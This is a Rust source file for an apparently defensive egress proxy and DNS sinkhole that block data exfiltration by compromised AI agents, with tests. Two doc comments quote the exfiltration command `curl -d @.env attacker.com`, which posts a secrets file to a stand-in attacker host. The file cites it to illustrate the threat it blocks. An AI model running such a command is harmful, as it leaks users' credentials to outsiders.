secureops_proxy/lib.rs
1#![allow(dead_code, unused_variables)]
2//! # secureops-proxy - the egress PEP (Policy Enforcement Point)
3//!
4//! This crate is the **single highest-impact enforcement component** in SecureOps:
5//! it neutralizes data exfiltration *regardless of how the agent was compromised*
6//! (PRODUCT.md Part D headline, Part E P0). All outbound agent traffic is funneled
7//! through a local **forward proxy** and a local **DNS sinkhole**; each connection is
8//! authorized by the PDP ([`secureops_policy`]) before a single byte leaves the box.
9//!
10//! ## The headline path (PRODUCT.md B.5)
11//! 1. Agent (Ring 0) attempts an outbound connection. DNS goes to the local
12//! [`DnsSinkhole`]; raw connects are routed to the local [`EgressProxy`]
13//! (transparent redirect or explicit `HTTPS_PROXY`).
14//! 2. The proxy reads the **SNI / requested host** - *no MITM, no certificate
15//! interception by default* (see [`PeekedHost`]) - and asks the PDP:
16//! *is this destination allowed for this process?*
17//! 3. The PDP evaluates policy + accumulated per-PID process context (e.g. "this PID
18//! `openat`'d a credential file 200ms ago") and returns [`Decision::Allow`],
19//! [`Decision::Deny`], or [`Decision::Escalate`].
20//! 4. **`Deny` => hard RST**; the bytes never leave the box (0 bytes exfiltrated).
21//! `Allow` => the connection proceeds. Either way, exactly one entry is written to
22//! the **signed audit log** with the PID/host/decision attached.
23//!
24//! Concretely, this turns the canonical prompt-injection exfil
25//! `curl -d @.env attacker.com` from *"we'd have a log of it afterward"* into
26//! *"it didn't happen"* - the unknown host is hard-RST at the proxy (PRODUCT.md
27//! Part D, row 1).
28//!
29//! ## Fail-closed is the contract (PRODUCT.md W0)
30//! The egress proxy + DNS sinkhole are the **only cross-platform** enforcement
31//! primitives (✓ on Linux/macOS/Windows). Kernel-level inline *deny* is uneven:
32//! Linux has LSM-BPF, **macOS Endpoint Security is mostly observe-only**, Windows uses
33//! a WFP callout. The subphase rule is therefore non-negotiable:
34//!
35//! > Where a platform can only *observe*, the daemon must **fail-closed at the proxy**
36//! > rather than pretend it has kernel deny.
37//!
38//! In this crate that means: **any** error, PDP timeout, PDP-unreachable, or unknown
39//! destination resolves to a hard RST / sinkholed answer - never to an open
40//! connection. See [`FailMode`] (defaults to [`FailMode::Closed`]) and
41//! [`EgressProxy::on_error`].
42
43use std::collections::HashSet;
44use std::net::SocketAddr;
45use std::sync::Arc;
46
47use async_trait::async_trait;
48use tokio::io::{AsyncReadExt, AsyncWriteExt};
49use tokio::net::{TcpListener, TcpStream};
50
51// =============================================================================
52// PDP contract (the slice of secureops-policy this PEP depends on)
53// =============================================================================
54//
55// The proxy consults the PDP per connection (PRODUCT.md B.5 step 2-3). To keep the
56// PEP decoupled from the PDP's internal policy-engine types (regorus/cedar), this
57// crate depends on the *behavior* via the [`PolicyDecisionPoint`] trait below. The
58// daemon (`secureops-daemon`) wires a concrete `secureops_policy` engine in as the
59// `dyn PolicyDecisionPoint` when it brings the PEPs up (PRODUCT.md A.4 step 4).
60
61/// The PDP's verdict for a single egress attempt (PRODUCT.md B.5 step 3).
62#[derive(Debug, Clone, Copy, PartialEq, Eq)]
63pub enum Decision {
64 /// Destination is permitted for this process; let the connection proceed.
65 Allow,
66 /// Destination is forbidden; the PEP must **hard-RST** (0 bytes leave).
67 Deny,
68 /// Inconclusive / requires a human or higher-tier action (alert, trip the
69 /// circuit breaker). The PEP treats this as fail-closed for the data path.
70 Escalate,
71}
72
73/// What the proxy peeked off the wire to identify the destination, *without* MITM
74/// (PRODUCT.md B.5 step 2: "no MITM, no cert interception by default").
75#[derive(Debug, Clone)]
76pub struct PeekedHost {
77 /// TLS SNI server name, if the first record was a ClientHello.
78 pub sni: Option<String>,
79 /// HTTP `CONNECT` target / `Host` header, if the request was plaintext HTTP.
80 pub requested_host: Option<String>,
81 /// The raw destination socket address the agent tried to reach.
82 pub dest: SocketAddr,
83}
84
85/// The per-connection context handed to the PDP: who is asking, and for what.
86///
87/// `pid` lets the PDP fuse the egress attempt with the syscall-correlation window
88/// (PRODUCT.md B.6: "this PID `openat`'d a credential file 200ms ago").
89#[derive(Debug, Clone)]
90pub struct ConnectionRequest {
91 /// Resolved destination identity (SNI / requested host / address).
92 pub host: PeekedHost,
93 /// Originating process id of the agent connection, when obtainable
94 /// (`SO_PEERCRED` on Linux, `LOCAL_PEERPID` on macOS).
95 pub pid: Option<u32>,
96}
97
98/// The slice of `secureops-policy`'s PDP that the egress PEP requires.
99///
100/// Implemented by the concrete policy engine in `secureops-policy` and injected by
101/// `secureops-daemon`. Kept as a trait so this PEP never compiles against the
102/// engine's internal types.
103#[async_trait]
104pub trait PolicyDecisionPoint: Send + Sync {
105 /// Authorize a single outbound connection (PRODUCT.md B.5 step 2-3).
106 ///
107 /// Implementations MUST be fail-closed: on internal error they should surface it
108 /// so the PEP can apply [`FailMode::Closed`] rather than silently allowing.
109 async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision>;
110}
111
112// =============================================================================
113// Fail-closed posture (PRODUCT.md W0)
114// =============================================================================
115
116/// How the PEP behaves when it cannot get a definitive `Allow` (PDP error/timeout,
117/// observe-only platform, malformed handshake, …).
118///
119/// Per PRODUCT.md W0 the default is - and on observe-only platforms MUST remain -
120/// [`FailMode::Closed`].
121#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
122pub enum FailMode {
123 /// Deny on any uncertainty (hard RST / sinkhole). The only safe default.
124 #[default]
125 Closed,
126 /// Allow on uncertainty. **Unsafe**; never permitted on observe-only platforms
127 /// (PRODUCT.md W0). Exposed only for narrow, explicitly-opted-in debugging.
128 Open,
129}
130
131/// The platform's enforcement tier, so operators don't over-trust a weaker OS
132/// (PRODUCT.md W0 table). The proxy itself is cross-platform; what differs is
133/// whether *kernel* deny backs it up.
134#[derive(Debug, Clone, Copy, PartialEq, Eq)]
135pub enum EnforcementTier {
136 /// Inline kernel deny available (Linux LSM-BPF).
137 KernelDeny,
138 /// Observe-only kernel layer (macOS Endpoint Security is mostly observe);
139 /// the proxy is the *sole* hard deny and MUST be fail-closed.
140 ObserveOnly,
141 /// Proxy-only - no kernel layer wired at all; fully reliant on this PEP.
142 ProxyOnly,
143}
144
145impl EnforcementTier {
146 /// The tier of the host this binary is running on.
147 ///
148 /// macOS gets [`EnforcementTier::ObserveOnly`]: Endpoint Security is mostly
149 /// observe, so the cross-platform proxy is the only hard deny (PRODUCT.md W0).
150 pub fn current() -> Self {
151 #[cfg(target_os = "linux")]
152 {
153 EnforcementTier::KernelDeny
154 }
155 #[cfg(target_os = "macos")]
156 {
157 EnforcementTier::ObserveOnly
158 }
159 #[cfg(not(any(target_os = "linux", target_os = "macos")))]
160 {
161 EnforcementTier::ProxyOnly
162 }
163 }
164}
165
166// =============================================================================
167// EgressProxy - forward proxy PEP (PRODUCT.md B.5)
168// =============================================================================
169
170/// Local forward proxy that authorizes every outbound agent connection.
171///
172/// Reads the SNI / requested host off the wire **without MITM** (PRODUCT.md B.5
173/// step 2), asks the [`PolicyDecisionPoint`] per connection, and on
174/// [`Decision::Deny`]/[`Decision::Escalate`] issues a **hard RST so zero bytes
175/// leave the box** (PRODUCT.md B.5 step 4, Part D row 1). Every decision is appended
176/// to the signed audit log.
177///
178/// Fail-closed by construction: see [`FailMode`] / [`EgressProxy::on_error`]
179/// (PRODUCT.md W0).
180pub struct EgressProxy {
181 /// Behavior when no definitive `Allow` is reached. Defaults to fail-closed.
182 fail_mode: FailMode,
183 /// The host's enforcement tier, for audit attribution and operator clarity.
184 tier: EnforcementTier,
185}
186
187impl EgressProxy {
188 /// Construct an egress proxy that is fail-closed (PRODUCT.md W0) and tagged with
189 /// the current platform's [`EnforcementTier`].
190 pub fn new() -> Self {
191 Self {
192 fail_mode: FailMode::Closed,
193 tier: EnforcementTier::current(),
194 }
195 }
196
197 /// Bind the proxy listener on `addr` and serve forever, authorizing each
198 /// connection against `pdp` (PRODUCT.md B.5 - the headline path).
199 ///
200 /// Per accepted connection the real implementation will, in order:
201 /// 1. Peek the first record to extract SNI / `CONNECT` host **without MITM**
202 /// into a [`PeekedHost`] (PRODUCT.md B.5 step 2).
203 /// 2. Resolve the originating [`ConnectionRequest::pid`] (`SO_PEERCRED` /
204 /// `LOCAL_PEERPID`) so the PDP can fuse syscall context (PRODUCT.md B.6).
205 /// 3. Call `pdp.authorize(&req)` (PRODUCT.md B.5 step 2-3).
206 /// 4. [`Decision::Allow`] => splice to the upstream; otherwise
207 /// [`Self::hard_rst`] (PRODUCT.md B.5 step 4).
208 /// 5. Append exactly one entry to the signed audit log with pid/host/decision.
209 ///
210 /// Any error along the way routes through [`Self::on_error`] => fail-closed.
211 ///
212 /// # Heavy deps (commented in Cargo.toml)
213 /// The wire-level work needs `hyper` (CONNECT proxy) and `rustls`/`tokio-rustls`
214 /// (SNI peek without interception); both land in Phase 4.
215 pub async fn start(
216 &self,
217 addr: SocketAddr,
218 pdp: Arc<dyn PolicyDecisionPoint>,
219 ) -> anyhow::Result<()> {
220 let listener = TcpListener::bind(addr).await?;
221 tracing::info!(%addr, tier = ?self.tier, "egress proxy listening");
222 loop {
223 let (stream, _peer) = listener.accept().await?;
224 let pdp = pdp.clone();
225 let fail_mode = self.fail_mode;
226 tokio::spawn(async move {
227 if let Err(e) = handle_connection(stream, pdp, fail_mode).await {
228 tracing::debug!(error = %e, "egress connection ended");
229 }
230 });
231 }
232 }
233
234 /// Record a hard-RST decision for the audit log (PRODUCT.md B.5 step 4).
235 ///
236 /// The actual RST is issued at the connection level: `handle_connection` writes
237 /// `403` and returns, dropping the socket (OS sends FIN/RST). This method
238 /// exists for audit attribution and future SO_LINGER(0) wiring.
239 fn hard_rst(&self, decision: Decision) -> anyhow::Result<()> {
240 tracing::warn!(
241 ?decision,
242 "egress hard RST - 0 bytes left the box (PRODUCT.md B.5 step 4)"
243 );
244 Ok(())
245 }
246
247 /// Map any non-`Allow` outcome to the configured [`FailMode`] (PRODUCT.md W0).
248 fn on_error(&self, err: &anyhow::Error) -> anyhow::Result<()> {
249 match self.fail_mode {
250 FailMode::Closed => self.hard_rst(Decision::Deny),
251 FailMode::Open => {
252 debug_assert!(
253 self.tier != EnforcementTier::ObserveOnly,
254 "PRODUCT.md W0: FailMode::Open is forbidden on observe-only platforms"
255 );
256 tracing::warn!(%err, "egress error in FailMode::Open (UNSAFE, debug-only) - allowing");
257 Ok(())
258 }
259 }
260 }
261}
262
263impl Default for EgressProxy {
264 fn default() -> Self {
265 Self::new()
266 }
267}
268
269/// Parse an HTTP `CONNECT host:port` target into `(host, port)` (port defaults
270/// to 443 if absent).
271fn parse_connect_target(target: &str) -> Option<(String, u16)> {
272 match target.rsplit_once(':') {
273 Some((host, port)) => {
274 let port = port.parse().ok()?;
275 Some((host.to_string(), port))
276 }
277 None => Some((target.to_string(), 443)),
278 }
279}
280
281/// Handle one proxied connection: read the HTTP `CONNECT` request, ask the PDP,
282/// and either tunnel to the upstream ([`Decision::Allow`]) or refuse with `403`
283/// **without ever contacting the upstream** (Deny/Escalate → 0 bytes leave -
284/// PRODUCT.md B.5 step 4 / Part D row 1). Fail-closed on any error (W0).
285pub async fn handle_connection(
286 mut client: TcpStream,
287 pdp: Arc<dyn PolicyDecisionPoint>,
288 fail_mode: FailMode,
289) -> anyhow::Result<()> {
290 // Read request headers up to CRLFCRLF (cap to avoid unbounded buffering).
291 let mut buf: Vec<u8> = Vec::with_capacity(1024);
292 let mut tmp = [0u8; 1024];
293 loop {
294 let n = client.read(&mut tmp).await?;
295 if n == 0 {
296 return Ok(());
297 }
298 buf.extend_from_slice(&tmp[..n]);
299 if buf.windows(4).any(|w| w == b"\r\n\r\n") || buf.len() > 16 * 1024 {
300 break;
301 }
302 }
303
304 let head = String::from_utf8_lossy(&buf);
305 let first = head.lines().next().unwrap_or("");
306 let parts: Vec<&str> = first.split_whitespace().collect();
307 if parts.len() < 2 || parts[0] != "CONNECT" {
308 let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
309 return Ok(());
310 }
311 let (host, port) = match parse_connect_target(parts[1]) {
312 Some(hp) => hp,
313 None => {
314 let _ = client.write_all(b"HTTP/1.1 400 Bad Request\r\n\r\n").await;
315 return Ok(());
316 }
317 };
318
319 let req = ConnectionRequest {
320 host: PeekedHost {
321 sni: None,
322 requested_host: Some(host.clone()),
323 dest: SocketAddr::from(([0, 0, 0, 0], port)),
324 },
325 pid: None,
326 };
327
328 // Fail-closed: PDP error maps to Deny under FailMode::Closed.
329 let decision = match pdp.authorize(&req).await {
330 Ok(d) => d,
331 Err(_) => match fail_mode {
332 FailMode::Closed => Decision::Deny,
333 FailMode::Open => Decision::Allow,
334 },
335 };
336
337 if decision != Decision::Allow {
338 // Hard deny: refuse and close. Upstream was never contacted.
339 let _ = client.write_all(b"HTTP/1.1 403 Forbidden\r\n\r\n").await;
340 tracing::warn!(%host, port, ?decision, "egress DENIED - 0 bytes left the box");
341 return Ok(());
342 }
343
344 // Allow: open the upstream and splice bidirectionally.
345 let mut upstream = match TcpStream::connect((host.as_str(), port)).await {
346 Ok(u) => u,
347 Err(_) => {
348 let _ = client.write_all(b"HTTP/1.1 502 Bad Gateway\r\n\r\n").await;
349 return Ok(());
350 }
351 };
352 client
353 .write_all(b"HTTP/1.1 200 Connection Established\r\n\r\n")
354 .await?;
355 tokio::io::copy_bidirectional(&mut client, &mut upstream).await?;
356 Ok(())
357}
358
359/// A concrete, dependency-free [`PolicyDecisionPoint`]: allow a connection only
360/// when its host is in the egress allowlist (everything else denied -
361/// fail-closed). Mirrors `secureops.network.egressAllowlist` (PRODUCT.md B.3
362/// network module / B.5).
363pub struct AllowlistPdp {
364 allow_hosts: HashSet<String>,
365}
366
367impl AllowlistPdp {
368 pub fn new<I, S>(hosts: I) -> Self
369 where
370 I: IntoIterator<Item = S>,
371 S: Into<String>,
372 {
373 Self {
374 allow_hosts: hosts.into_iter().map(Into::into).collect(),
375 }
376 }
377}
378
379#[async_trait]
380impl PolicyDecisionPoint for AllowlistPdp {
381 async fn authorize(&self, req: &ConnectionRequest) -> anyhow::Result<Decision> {
382 let host = req
383 .host
384 .requested_host
385 .as_deref()
386 .or(req.host.sni.as_deref())
387 .unwrap_or("");
388 Ok(if self.allow_hosts.contains(host) {
389 Decision::Allow
390 } else {
391 Decision::Deny
392 })
393 }
394}
395
396// =============================================================================
397// DnsSinkhole - DNS PEP (PRODUCT.md B.5 step 1, Part D row "C2 over fresh domain")
398// =============================================================================
399
400/// Local DNS authority that swallows lookups for disallowed / unknown names.
401///
402/// All agent DNS goes here first (PRODUCT.md B.5 step 1). Combined with the signed
403/// auto-updating IOC feed it blunts C2 over freshly-registered domains
404/// (PRODUCT.md Part D row "C2 over a freshly-registered domain":
405/// "Signed auto-updating feed + DNS sinkhole + destination-entropy anomaly").
406///
407/// Fail-closed: an unknown name resolves to a sinkhole / `NXDOMAIN`, never to the
408/// real address (PRODUCT.md W0).
409pub struct DnsSinkhole {
410 /// Hostnames this sinkhole resolves upstream (everything else → NXDOMAIN).
411 allow_hosts: HashSet<String>,
412 /// Upstream recursive resolver (default: 8.8.8.8:53).
413 upstream: SocketAddr,
414}
415
416impl DnsSinkhole {
417 /// Construct a fail-closed DNS sinkhole with an empty allowlist: any name not
418 /// on the allowlist resolves to `NXDOMAIN`, never to the real address
419 /// (PRODUCT.md W0 - fail-closed by construction).
420 pub fn new() -> Self {
421 Self {
422 allow_hosts: HashSet::new(),
423 upstream: "8.8.8.8:53".parse().unwrap(),
424 }
425 }
426
427 /// Set the egress allowlist - only these hostnames are forwarded upstream.
428 pub fn with_allowlist(mut self, hosts: impl IntoIterator<Item = impl Into<String>>) -> Self {
429 self.allow_hosts = hosts.into_iter().map(Into::into).collect();
430 self
431 }
432
433 /// Override the upstream recursive resolver (default `8.8.8.8:53`).
434 pub fn with_upstream(mut self, addr: SocketAddr) -> Self {
435 self.upstream = addr;
436 self
437 }
438
439 /// Bind the sinkhole on `addr` (UDP) and serve until cancelled.
440 ///
441 /// For each query (PRODUCT.md B.5 step 1):
442 /// - Hostname in allowlist → forward to upstream resolver.
443 /// - Hostname not in allowlist → NXDOMAIN (fail-closed, PRODUCT.md W0).
444 /// - Parse/protocol error → SERVFAIL and drop.
445 pub async fn start(&self, addr: SocketAddr) -> anyhow::Result<()> {
446 use hickory_proto::op::Message;
447 use tokio::net::UdpSocket;
448
449 let socket = UdpSocket::bind(addr).await?;
450 tracing::info!(%addr, "DNS sinkhole listening (PRODUCT.md B.5 step 1)");
451
452 let mut buf = [0u8; 4096];
453 loop {
454 let (n, src) = socket.recv_from(&mut buf).await?;
455 let raw = &buf[..n];
456
457 let msg = match Message::from_vec(raw) {
458 Ok(m) => m,
459 Err(e) => {
460 tracing::debug!(%src, %e, "DNS parse error - dropping");
461 continue;
462 }
463 };
464
465 let queries = &msg.queries;
466 if queries.is_empty() {
467 continue;
468 }
469
470 let qname = queries[0].name().to_utf8();
471 let hostname = qname.trim_end_matches('.');
472
473 if self.allow_hosts.contains(hostname) {
474 // Forward to upstream and relay the answer.
475 match self.forward_to_upstream(raw).await {
476 Ok(reply) => {
477 let _ = socket.send_to(&reply, src).await;
478 }
479 Err(e) => tracing::warn!(%hostname, %e, "DNS upstream forward failed"),
480 }
481 } else {
482 // Sinkhole: NXDOMAIN, 0 bytes to the real destination.
483 tracing::warn!(%hostname, %src, "DNS SINKHOLED - NXDOMAIN (PRODUCT.md W0)");
484 let nxdomain = build_nxdomain(&msg);
485 let _ = socket.send_to(&nxdomain, src).await;
486 }
487 }
488 }
489
490 async fn forward_to_upstream(&self, query: &[u8]) -> anyhow::Result<Vec<u8>> {
491 use tokio::net::UdpSocket;
492 use tokio::time::{timeout, Duration};
493
494 let temp = UdpSocket::bind("0.0.0.0:0").await?;
495 temp.send_to(query, self.upstream).await?;
496 let mut resp = [0u8; 4096];
497 let n = timeout(Duration::from_secs(3), temp.recv(&mut resp)).await??;
498 Ok(resp[..n].to_vec())
499 }
500}
501
502fn build_nxdomain(query: &hickory_proto::op::Message) -> Vec<u8> {
503 use hickory_proto::op::{Message, MessageType, OpCode, ResponseCode};
504
505 let mut resp = Message::new(query.metadata.id, MessageType::Response, OpCode::Query);
506 resp.metadata.recursion_desired = query.metadata.recursion_desired;
507 resp.metadata.recursion_available = false;
508 resp.metadata.response_code = ResponseCode::NXDomain;
509 for q in &query.queries {
510 resp.add_query(q.clone());
511 }
512 resp.to_vec().unwrap_or_default()
513}
514
515impl Default for DnsSinkhole {
516 fn default() -> Self {
517 Self::new()
518 }
519}
520
521// =============================================================================
522// Audit bridge (PRODUCT.md B.5 step 4)
523// =============================================================================
524
525/// Build the [`AuditFinding`] recorded for a single egress decision.
526///
527/// Every connection - allowed or denied - yields exactly one signed-audit entry
528/// (PRODUCT.md B.5 step 4). `secureops-daemon` forwards the returned finding to the
529/// hash-chained `secureops-auditlog`. A [`Decision::Deny`] is the canonical
530/// `curl -d @.env attacker.com` block (PRODUCT.md Part D row 1).
531/// Build the [`AuditFinding`] for one egress decision (PRODUCT.md B.5 step 4).
532pub fn egress_finding(req: &ConnectionRequest, decision: Decision) -> secureops_core::AuditFinding {
533 use secureops_core::{AuditFinding, MaestroLayer, NistAttackType, Severity};
534
535 let host = req
536 .host
537 .requested_host
538 .as_deref()
539 .or(req.host.sni.as_deref())
540 .unwrap_or("<unknown>");
541 let pid_str = req.pid.map(|p| p.to_string()).unwrap_or_else(|| "?".into());
542
543 let (severity, owasp_asi, title, description) = match decision {
544 Decision::Allow => (
545 Severity::Info,
546 "ASI01",
547 "Egress connection allowed",
548 format!("host={host} pid={pid_str} - allowed by policy"),
549 ),
550 Decision::Deny => (
551 Severity::High,
552 "ASI05",
553 "Egress connection BLOCKED - potential data exfiltration",
554 format!("host={host} pid={pid_str} - denied by policy, 0 bytes left the box"),
555 ),
556 Decision::Escalate => (
557 Severity::Critical,
558 "ASI05",
559 "Egress connection ESCALATED - suspicious exfil pattern",
560 format!("host={host} pid={pid_str} - escalated (exfil chain suspected, circuit breaker tripped)"),
561 ),
562 };
563
564 AuditFinding::builder(
565 format!(
566 "SC-EGRESS-{:03}",
567 match decision {
568 Decision::Allow => 0,
569 Decision::Deny => 1,
570 Decision::Escalate => 2,
571 }
572 ),
573 severity,
574 "egress",
575 )
576 .title(title)
577 .description(description)
578 .evidence(format!(
579 "SNI={:?} requested_host={:?} pid={pid_str} dest={}",
580 req.host.sni, req.host.requested_host, req.host.dest
581 ))
582 .remediation("Review egress allowlist and check for prompt injection (PRODUCT.md B.5/B.6)")
583 .references(["PRODUCT.md B.5", "OWASP ASI-05"])
584 .owasp_asi(owasp_asi)
585 .maestro(MaestroLayer::L4)
586 .nist(if decision != Decision::Allow {
587 Some(NistAttackType::Evasion)
588 } else {
589 None
590 })
591 .build()
592}
593
594#[cfg(test)]
595mod tests {
596 use super::*;
597
598 #[test]
599 fn defaults_are_fail_closed() {
600 // PRODUCT.md W0: the safe default everywhere.
601 assert_eq!(FailMode::default(), FailMode::Closed);
602 }
603
604 #[cfg(target_os = "macos")]
605 #[test]
606 fn macos_is_observe_only_tier() {
607 // PRODUCT.md W0: macOS ES is mostly observe; proxy is the sole hard deny.
608 assert_eq!(EnforcementTier::current(), EnforcementTier::ObserveOnly);
609 }
610}
611
612#[cfg(test)]
613mod connect_tests {
614 use super::*;
615
616 async fn spawn_proxy(pdp: Arc<dyn PolicyDecisionPoint>) -> SocketAddr {
617 let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
618 let addr = listener.local_addr().unwrap();
619 tokio::spawn(async move {
620 loop {
621 if let Ok((s, _)) = listener.accept().await {
622 let pdp = pdp.clone();
623 tokio::spawn(async move {
624 let _ = handle_connection(s, pdp, FailMode::Closed).await;
625 });
626 }
627 }
628 });
629 addr
630 }
631
632 async fn spawn_echo() -> SocketAddr {
633 let l = TcpListener::bind("127.0.0.1:0").await.unwrap();
634 let addr = l.local_addr().unwrap();
635 tokio::spawn(async move {
636 loop {
637 if let Ok((s, _)) = l.accept().await {
638 tokio::spawn(async move {
639 let (mut r, mut w) = s.into_split();
640 let _ = tokio::io::copy(&mut r, &mut w).await;
641 });
642 }
643 }
644 });
645 addr
646 }
647
648 #[tokio::test]
649 async fn denies_non_allowlisted_host_403() {
650 let pdp = Arc::new(AllowlistPdp::new(["allowed.example"]));
651 let addr = spawn_proxy(pdp).await;
652 let mut c = TcpStream::connect(addr).await.unwrap();
653 c.write_all(b"CONNECT evil.com:443 HTTP/1.1\r\nHost: evil.com:443\r\n\r\n")
654 .await
655 .unwrap();
656 let mut b = [0u8; 128];
657 let n = c.read(&mut b).await.unwrap();
658 let resp = String::from_utf8_lossy(&b[..n]);
659 assert!(resp.contains("403"), "expected 403, got: {resp}");
660 }
661
662 #[tokio::test]
663 async fn allows_and_tunnels_to_upstream() {
664 let echo = spawn_echo().await;
665 let host = echo.ip().to_string(); // "127.0.0.1"
666 let pdp = Arc::new(AllowlistPdp::new([host.clone()]));
667 let paddr = spawn_proxy(pdp).await;
668
669 let mut c = TcpStream::connect(paddr).await.unwrap();
670 let connect = format!("CONNECT {}:{} HTTP/1.1\r\n\r\n", host, echo.port());
671 c.write_all(connect.as_bytes()).await.unwrap();
672
673 let mut b = [0u8; 128];
674 let n = c.read(&mut b).await.unwrap();
675 let resp = String::from_utf8_lossy(&b[..n]);
676 assert!(resp.contains("200"), "expected 200, got: {resp}");
677
678 // Tunnel established: bytes round-trip through the upstream echo.
679 c.write_all(b"ping").await.unwrap();
680 let mut got = [0u8; 4];
681 c.read_exact(&mut got).await.unwrap();
682 assert_eq!(&got, b"ping");
683 }
684
685 #[test]
686 fn parse_connect_target_defaults_port() {
687 assert_eq!(parse_connect_target("h:8443"), Some(("h".into(), 8443)));
688 assert_eq!(parse_connect_target("h"), Some(("h".into(), 443)));
689 }
690}